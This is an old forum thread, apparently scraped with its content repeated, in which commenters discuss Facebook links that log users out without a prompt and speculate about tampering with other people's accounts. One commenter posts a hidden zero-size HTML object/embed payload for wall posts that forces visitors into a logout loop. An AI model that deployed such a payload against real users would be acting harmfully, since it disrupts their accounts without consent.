4 ms·

Isnt it a bit more concerning that we can modify these peoples settings by clicking the links? (at least it appears we can) I have not checked but there may be

Isnt it a bit more concerning that we can modify these peoples settings by clicking the links? (at least it appears we can) I have not checked but there may be a way to modify the url string to view anyones email (sample URL taken from that guys post below) http://www.facebook.com/o.php?k=16531b&u=100001103986041&mid=271e1e0G5af35247bd79G8dbe4G46&c http://www.facebook.com/o.php?k=16531b&u=100001103986041... (warning- clicking this link will log you out of facebook with no prompt) Or, perhaps a way to take the authentication hash + mid hash's from above to perform another function on someone elses account. (like changing the email, or changing privacy settings)

what 16y ago
It would probably be near impossible to view an email for a specific account or any random account. The mid value can be removed entirely (it seems) and I'm guessing u is a userid(?), but you would have to figure out the value for k that matches the id.
GrandMasterBirt 16y ago
You are on to something here. A link that auto logs u out. Can we embed this link in a post on facebook, therefore auto logging people out just by visiting their wall? It would be the ultimate annoyance.
- whatwhatwhat 16y ago
  I just did this and it works. If a user has an application such as advanced wall or super wall you can use the following to log people out. <object data="http://www.facebook.com/o.php?k=16531b&u=100001103986041&mid=271e1e0G5af35247bd79G8dbe4G46&c http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> <embed src="http://www.facebook.com/o.php?k=16531b&u=100001103986041&mid=271e1e0G5af35247bd79G8dbe4G46&c http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> </embed></object> The worst part is that if you just try to login again at the prompt (instead of going to facebook.com) you get redirected back to the post and logged out again in a loop.

what 16y ago

It would probably be near impossible to view an email for a specific account or any random account. The mid value can be removed entirely (it seems) and I'm guessing u is a userid(?), but you would have to figure out the value for k that matches the id.

GrandMasterBirt 16y ago

You are on to something here. A link that auto logs u out. Can we embed this link in a post on facebook, therefore auto logging people out just by visiting their wall? It would be the ultimate annoyance.

whatwhatwhat 16y ago
I just did this and it works. If a user has an application such as advanced wall or super wall you can use the following to log people out. <object data="http://www.facebook.com/o.php?k=16531b&u=100001103986041&mid=271e1e0G5af35247bd79G8dbe4G46&c http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> <embed src="http://www.facebook.com/o.php?k=16531b&u=100001103986041&mid=271e1e0G5af35247bd79G8dbe4G46&c http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> </embed></object> The worst part is that if you just try to login again at the prompt (instead of going to facebook.com) you get redirected back to the post and logged out again in a loop.